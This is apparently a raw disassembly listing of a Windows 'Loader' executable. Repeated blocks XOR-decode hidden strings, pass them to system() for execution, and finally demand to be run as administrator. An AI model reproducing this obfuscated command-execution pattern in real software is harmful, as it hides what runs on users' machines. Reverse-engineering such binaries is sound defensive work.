movd dword [r10 + 4], xmm2
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x14000edc0
mov rcx, r10
call fcn.1400011a0
mov ecx, __WSAFDIsSet
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x14008f78c]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rbp - 0x7b], 0
lea rdx, [rbp + 0x158]
lea rcx, [rbp - 0x7b]
call fcn.1400160b0
mov r10, rax
cmp byte [rax + 0xc], 0
je 0x14000ef80
mov r8d, ebx
cmp r12d, 2
jl 0x14000ef41
movdqa xmm4, xmmword [0x140090330]
movd xmm5, r13d
movd xmm6, esi
movdqa xmm2, xmmword [0x1400902e0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140090300]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
mov eax, dword [str.2222222222222222O]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
xorps xmm2, xmm0
movd dword [r10], xmm2
movdqa xmm3, xmmword [0x1400902f0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140090300]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm2, xmm0
movd dword [r10 + 4], xmm2
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14000ef50
mov rcx, r10
call fcn.1400011a0
mov ecx, __WSAFDIsSet
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x14008f78c]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rbp - 0x7a], 0
lea rdx, [rbp + 0x208]
lea rcx, [rbp - 0x7a]
call fcn.1400160e0
mov r10, rax
cmp byte [rax + 0xd], 0
je 0x14000f110
mov r8d, ebx
cmp r12d, 2
jl 0x14000f0d1
movdqa xmm4, xmmword [0x140090330]
movd xmm5, r13d
movd xmm6, esi
movdqa xmm2, xmmword [0x1400902e0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140090300]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
mov eax, dword [str.2222222222222222O]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
xorps xmm2, xmm0
movd dword [r10], xmm2
movdqa xmm3, xmmword [0x1400902f0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140090300]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm2, xmm0
movd dword [r10 + 4], xmm2
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x14000f0e0
mov rcx, r10
call fcn.1400011a0
mov ecx, __WSAFDIsSet
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x14008f78c]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rbp - 0x79], 0
lea rdx, [rbp + 0x238]
lea rcx, [rbp - 0x79]
call fcn.140016110
mov r10, rax
cmp byte [rax + 0xe], 0
je 0x14000f2a0
mov r8d, ebx
cmp r12d, 2
jl 0x14000f261
movdqa xmm4, xmmword [0x140090330]
movd xmm5, r13d
movd xmm6, esi
movdqa xmm2, xmmword [0x1400902e0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140090300]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
mov eax, dword [str.2222222222222222O]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
xorps xmm2, xmm0
movd dword [r10], xmm2
movdqa xmm3, xmmword [0x1400902f0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140090300]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm2, xmm0
movd dword [r10 + 4], xmm2
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x14000f270
mov rcx, r10
call fcn.1400011a0
mov ecx, __WSAFDIsSet
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x14008f78c]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rbp - 0x78], 0
lea rdx, [rbp + 0x258]
lea rcx, [rbp - 0x78]
call fcn.140016140
mov r10, rax
cmp byte [rax + 0xf], 0
je 0x14000f460
cmp r12d, 2
jl 0x14000f420
movdqa xmm5, xmmword [0x1400902e0]
mov edx, ebx
movdqa xmm4, xmmword [0x140090330]
movd xmm6, r13d
movdqa xmm7, xmmword [0x140090300]
movd xmm8, esi
movdqa xmm0, xmmword [str.2222222222222222O]
movdqa xmmword [rbp - 0x40], xmm0
mov rcx, rax
mov r8d, dword [rbp - 0x40]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x14000f323
jmp 0x14000f460
mov r9, r10
mov r8d, ebx
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, r8b
sub al, dl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x14000f430
mov rcx, r10
call fcn.1400011a0
mov ecx, __WSAFDIsSet
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x14008f78c]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rbp - 0x77], 0
lea rdx, [rbp + 0x280]
lea rcx, [rbp - 0x77]
call fcn.140016150
mov r10, rax
cmp byte [rax + 0x10], 0
je 0x14000f630
mov r8d, ebx
cmp r12d, 2
jl 0x14000f5f3
movdqa xmm5, xmmword [0x1400902e0]
movdqa xmm4, xmmword [0x140090330]
movd xmm6, r13d
movdqa xmm7, xmmword [0x140090300]
movd xmm8, esi
movdqa xmm0, xmmword [str.2222222222222222O]
movdqa xmmword [rbp - 0x40], xmm0
mov rcx, rax
mov edx, dword [rbp - 0x40]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14000f4f0
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x14000f600
mov rcx, r10
call fcn.1400011a0
mov ecx, __WSAFDIsSet
call qword [sym.imp.KERNEL32.dll_Sleep]
mov byte [rbp - 0x76], 0
lea rdx, [rbp + 0x6c]
lea rcx, [rbp - 0x76]
call fcn.1400159e0
mov rcx, rax
cmp byte [rax + 3], 0
je 0x14000f730
cmp r12d, 2
jl 0x14000f6ee
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rbp - 0x75], 0
lea rdx, [rbp + 0x2e0]
lea rcx, [rbp - 0x75]
call fcn.140016170
mov r10, rax
cmp byte [rax + 0x11], 0
je 0x14000f8e0
mov byte [rbp - 0x4e], 0
lea rdx, [rbp + 0xc0]
lea rcx, [rbp - 0x4e]
call fcn.140015970
mov rcx, rax
cmp byte [rax + 7], 0
je 0x140015760
cmp r12d, 2
jl 0x140015729
movdqa xmm4, xmmword [0x140090330]
movd xmm5, r13d
mov edi, Ordinal_35
movd xmm6, edi
movdqa xmm2, xmmword [0x1400902e0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140090300]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
mov eax, dword [str.2222222222222222O]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
movdqa xmm3, xmmword [0x1400902f0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140090300]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
jmp 0x140015765
mov r9, rcx
mov r8d, ebx
nop
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, r8b
sub al, dl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140015730
mov edi, Ordinal_35
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rbp - 0x4d], 0
lea rdx, [rbp + 0x3d0]
lea rcx, [rbp - 0x4d]
call fcn.140015980
mov r9, rax
cmp byte [rax + 0x12], 0
je 0x14001590c
cmp r12d, 2
jl 0x1400158ce
movdqa xmm5, xmmword [0x1400902e0]
movdqa xmm4, xmmword [0x140090330]
movd xmm6, r13d
movdqa xmm7, xmmword [0x140090300]
movd xmm8, edi
movdqa xmm0, xmmword [str.2222222222222222O]
movdqa xmmword [rbp - 0x40], xmm0
mov rcx, rax
mov edx, dword [rbp - 0x40]
nop dword [rax + rax]
movd xmm2, ebx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rbx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add ebx, 8
lea rcx, [rcx + 8]
cmp ebx, 0x10
jl 0x1400157d0
cmp ebx, 0x13
jge 0x14001590c
movsxd r8, ebx
add r8, r9
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul ebx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, bl
sub al, cl
add al, 0x32
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x13
jl 0x1400158e0
mov rcx, r9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x14008f728]
call fcn.1400011a0
lea rdx, str.____Run_the_Loader_as_admin_to_continue_
mov rcx, qword [0x140080528]
call fcn.140018080
mov rcx, rax
lea rdx, [0x140018250]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, str._____Exiting
call fcn.1400011a0
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3